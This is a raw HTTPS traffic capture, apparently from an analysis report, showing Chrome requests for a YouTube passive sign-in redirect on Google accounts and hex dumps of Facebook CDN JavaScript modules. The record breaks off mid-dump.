2024-01-17 23:34:57 UTC	1700	OUT	GET /ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:57 UTC	2014	IN	HTTP/1.1 302 Found Content-Type: application/binary Set-Cookie: __Host-GAPS=1:6Qgz18enJ_nDaoIrusvBsZcrHRMPhw:r3ECrLFC3f11mPvt; Expires=Fri, 16-Jan-2026 23:34:57 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:57 GMT Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&passive=true&service=youtube&uilel=3&ifkv=ASKXGp1o4g93R-3NyvrkXhTJ2DkwuFnIwuGMhH2_vln4ixRd8AUb_60tYpVg-FxGwW5DIsnFNxHUDw Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-USGV-iFxUJgqne6j36TpMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: unsafe-none Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49845	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:57 UTC	599	OUT	GET /rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:57 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: sFiTJRvC2tZx6bLuQi5i4w== Expires: Thu, 16 Jan 2025 09:22:28 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: 4LqSuGehgCDJdTbe8jQgiVOkF1K3z/aVFHUFXljlppb2MpPXIJmrxOvPvETA6WbmnRMT2+QrPQ00iFmQIzPnzw== Date: Wed, 17 Jan 2024 23:34:57 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 15495
2024-01-17 23:34:57 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:57 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 58 43 6f 6e 74 72 6f 6c 6c 65 72 55 52 49 42 75 69 6c 64 65 72 22 2c 5b 22 69 6e 76 61 72 69 61 6e 74 22 2c 22 55 52 49 22 2c 22 67 6b 78 22 2c 22 69 73 49 6e 74 65 72 6e 61 6c 46 42 55 52 49 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 29 7b 76 61 72 20 69 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 2c 62 29 7b 74 68 69 73 2e 24 31 3d 7b 7d 2c 74 68 69 73 2e 24 32 3d 61 2c 74 68 69 73 2e 24 33 3d 62 7d 76 61 72 20 62 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b 62 2e 73 65 74 49 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 5f 73 65 74 50 61 72 61 6d 28 61 2c 22 49 6e 74 22 2c Data Ascii: /FB_PKG_DELIM/__d("XControllerURIBuilder",["invariant","URI","gkx","isInternalFBURI"],(function(a,b,c,d,e,f,g,h){var i;a=function(){function a(a,b){this.$1={},this.$2=a,this.$3=b}var b=a.prototype;b.setInt=function(a,b){return this.__setParam(a,"Int",
2024-01-17 23:34:57 UTC	13994	IN	Data Raw: 22 2c 62 29 7d 3b 62 2e 73 65 74 46 42 49 44 4b 65 79 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 5f 73 65 74 50 61 72 61 6d 28 61 2c 22 46 42 49 44 4b 65 79 73 65 74 22 2c 62 29 7d 3b 62 2e 73 65 74 45 6e 75 6d 56 65 63 74 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 5f 73 65 74 50 61 72 61 6d 28 61 2c 22 45 6e 75 6d 56 65 63 74 6f 72 22 2c 62 29 7d 3b 62 2e 73 65 74 45 6e 75 6d 53 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 5f 73 65 74 50 61 72 61 6d 28 61 2c 22 45 6e 75 6d 53 65 74 22 2c 62 29 7d 3b 62 2e 73 65 74 45 6e 75 6d 4b 65 79 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 68 Data Ascii: ",b)};b.setFBIDKeyset=function(a,b){return this.__setParam(a,"FBIDKeyset",b)};b.setEnumVector=function(a,b){return this.__setParam(a,"EnumVector",b)};b.setEnumSet=function(a,b){return this.__setParam(a,"EnumSet",b)};b.setEnumKeyset=function(a,b){return th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49847	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:57 UTC	599	OUT	GET /rsrc.php/v3/yp/r/sKtrEJAtiUM.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:57 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 1SXimG7zDGxYdqpLvV0VXw== Expires: Tue, 14 Jan 2025 15:56:14 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: fxHfnlOPfDHVQ2pEYZC64fviOdsZGJrokwLNkiHagnzcBu9STrK74oUCwEb8ndrTV44ZbwFbeuWoIiND8j3s1A== Date: Wed, 17 Jan 2024 23:34:57 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 51591
2024-01-17 23:34:57 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:57 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 42 64 50 64 63 53 69 67 6e 61 6c 73 46 61 6c 63 6f 45 76 65 6e 74 22 2c 5b 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 2c 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 63 28 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 29 28 22 31 37 34 33 30 39 35 22 29 3b 62 3d 64 28 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 29 2e 63 72 65 61 74 65 28 22 62 64 5f 70 64 63 5f 73 69 67 6e 61 6c 73 22 2c 61 29 3b 65 3d 62 3b 67 5b 22 64 65 66 61 75 6c 74 Data Ascii: /FB_PKG_DELIM/__d("BdPdcSignalsFalcoEvent",["FalcoLoggerInternal","getFalcoLogPolicy_DO_NOT_USE"],(function(a,b,c,d,e,f,g){"use strict";a=c("getFalcoLogPolicy_DO_NOT_USE")("1743095");b=d("FalcoLoggerInternal").create("bd_pdc_signals",a);e=b;g["default
2024-01-17 23:34:57 UTC	14973	IN	Data Raw: 70 6f 6e 65 6e 74 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 73 65 74 44 75 72 61 74 69 6f 6e 55 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 31 2e 64 75 72 61 74 69 6f 6e 5f 75 73 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 73 65 74 45 78 63 65 70 74 69 6f 6e 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 31 2e 65 78 63 65 70 74 69 6f 6e 5f 6d 65 73 73 61 67 65 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 73 65 74 45 78 63 65 70 74 69 6f 6e 53 74 61 63 6b 54 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 31 2e 65 78 63 65 70 74 69 6f 6e 5f 73 74 61 63 6b 5f 74 72 61 63 65 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 73 65 74 45 78 63 65 70 74 69 6f Data Ascii: ponent=a;return this};c.setDurationUs=function(a){this.$1.duration_us=a;return this};c.setExceptionMessage=function(a){this.$1.exception_message=a;return this};c.setExceptionStackTrace=function(a){this.$1.exception_stack_trace=a;return this};c.setExceptio
2024-01-17 23:34:57 UTC	16384	IN	Data Raw: 2e 68 61 6e 64 6c 65 72 29 7d 29 3b 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 64 64 4c 69 73 74 65 6e 65 72 73 28 29 7d 2c 74 68 69 73 2e 70 61 75 73 65 54 69 6d 65 6f 75 74 29 7d 3b 65 2e 63 6f 6c 6c 65 63 74 53 69 67 6e 61 6c 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 21 3d 6e 75 6c 6c 3b 61 26 26 74 68 69 73 2e 70 61 75 73 65 4c 69 73 74 65 6e 65 72 73 28 29 3b 61 3d 6e 65 77 28 63 28 22 42 6f 6f 6c 65 61 6e 53 69 67 6e 61 6c 56 61 6c 75 65 54 79 70 65 22 29 29 28 44 61 74 65 2e 6e 6f 77 28 29 2c 74 68 69 73 2e 67 65 74 43 6f 6e 74 65 78 74 28 29 2c 61 29 3b 61 3d 7b 73 69 67 6e 61 6c 49 64 3a 74 68 69 73 2e 73 69 67 6e 61 6c 54 79 70 65 2c 64 61 74 61 3a 7b 76 61 6c 75 Data Ascii: .handler)});window.setTimeout(function(){return a.addListeners()},this.pauseTimeout)};e.collectSignals=function(a){a=a!=null;a&&this.pauseListeners();a=new(c("BooleanSignalValueType"))(Date.now(),this.getContext(),a);a={signalId:this.signalType,data:{valu
2024-01-17 23:34:57 UTC	16384	IN	Data Raw: 75 66 66 65 72 53 69 7a 65 3d 61 3a 64 28 22 42 44 4f 70 65 72 61 74 69 6f 6e 4c 6f 67 48 65 6c 70 65 72 22 29 2e 6c 6f 67 45 72 72 6f 72 28 68 2c 64 28 22 42 44 4c 6f 67 67 69 6e 67 43 6f 6e 73 74 61 6e 74 73 22 29 2e 4f 50 45 52 41 54 49 4f 4e 53 2e 49 4e 56 41 4c 49 44 5f 42 55 46 46 45 52 5f 53 49 5a 45 2c 7b 73 69 7a 65 3a 61 2e 74 6f 53 74 72 69 6e 67 28 29 2c 74 79 70 65 3a 22 64 22 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 62 2e 67 65 74 44 79 6e 61 6d 69 63 53 69 67 6e 61 6c 42 75 66 66 65 72 53 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 79 6e 61 6d 69 63 53 69 67 6e 61 6c 42 75 66 66 65 72 53 69 7a 65 7d 3b 62 2e 73 65 74 42 69 6f 6d 65 74 72 69 63 53 69 67 6e 61 6c 42 75 66 66 65 72 53 69 7a 65 3d Data Ascii: ufferSize=a:d("BDOperationLogHelper").logError(h,d("BDLoggingConstants").OPERATIONS.INVALID_BUFFER_SIZE,{size:a.toString(),type:"d"});return this};b.getDynamicSignalBufferSize=function(){return this.dynamicSignalBufferSize};b.setBiometricSignalBufferSize=
2024-01-17 23:34:57 UTC	2349	IN	Data Raw: 30 3a 28 62 3d 62 2e 67 65 74 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 6f 72 28 29 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 62 2e 65 78 65 63 75 74 65 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 69 6f 6e 28 29 3b 69 66 28 62 3d 3d 6e 75 6c 6c 29 7b 64 28 22 42 44 4f 70 65 72 61 74 69 6f 6e 4c 6f 67 48 65 6c 70 65 72 22 29 2e 6c 6f 67 45 72 72 6f 72 28 6a 2c 64 28 22 42 44 4c 6f 67 67 69 6e 67 43 6f 6e 73 74 61 6e 74 73 22 29 2e 4f 50 45 52 41 54 49 4f 4e 53 2e 48 42 5f 43 4f 4c 4c 45 43 54 49 4f 4e 5f 46 41 49 4c 45 44 2c 7b 75 72 67 65 6e 63 79 3a 61 2e 74 6f 53 74 72 69 6e 67 28 29 7d 29 3b 72 65 74 75 72 6e 7d 65 6c 73 65 20 64 28 22 42 44 4f 70 65 72 61 74 69 6f 6e 4c 6f 67 48 65 6c 70 65 72 22 29 2e 6c 6f 67 49 6e 66 6f 28 6a 2c 64 28 22 42 44 4c 6f 67 Data Ascii: 0:(b=b.getSignalCollector())==null?void 0:b.executeSignalCollection();if(b==null){d("BDOperationLogHelper").logError(j,d("BDLoggingConstants").OPERATIONS.HB_COLLECTION_FAILED,{urgency:a.toString()});return}else d("BDOperationLogHelper").logInfo(j,d("BDLog

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49848	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:57 UTC	1700	OUT	GET /ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:58 UTC	2012	IN	HTTP/1.1 302 Found Content-Type: application/binary Set-Cookie: __Host-GAPS=1:YlTt1QBheaGihkwhnEJFv9dMMIzwXQ:EB-nrgTwki1Y-SgR; Expires=Fri, 16-Jan-2026 23:34:58 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:58 GMT Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&passive=true&service=youtube&uilel=3&ifkv=ASKXGp3fVzQOAIUzay_76V7qWbAaDRWGasbse-QzbkN9MwrrHFMQlRupNDDVCLZCYNaottGrIEqf Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: script-src 'report-sample' 'nonce-gUjVmcantLwanglVdXoxsQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport Cross-Origin-Opener-Policy: unsafe-none Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49849	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:57 UTC	1778	OUT	GET /InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&passive=true&service=youtube&uilel=3&ifkv=ASKXGp1o4g93R-3NyvrkXhTJ2DkwuFnIwuGMhH2_vln4ixRd8AUb_60tYpVg-FxGwW5DIsnFNxHUDw HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:58 UTC	1544	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Set-Cookie: __Host-GAPS=1:OqtJGebAU010ezJ1efoPi__sTDSIYA:A8EF8BNURNYmh0S8;Path=/;Expires=Fri, 16-Jan-2026 23:34:58 GMT;Secure;HttpOnly;Priority=HIGH X-Frame-Options: DENY Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:58 GMT Location: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp1c0w5JaOfQYOlZuhQy86GoReFUxlHNL6-vwhawIMLsBG8McXpezbH0g-jF4-w_0KUlWLbG&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1259196525%3A1705534498192643&theme=glif Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-HqlqS2D6SyJNZPDKcJd0kw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk" Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]} Content-Length: 636 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:58 UTC	636	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 69 64 65 6e 74 69 66 69 65 72 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 79 6f 75 74 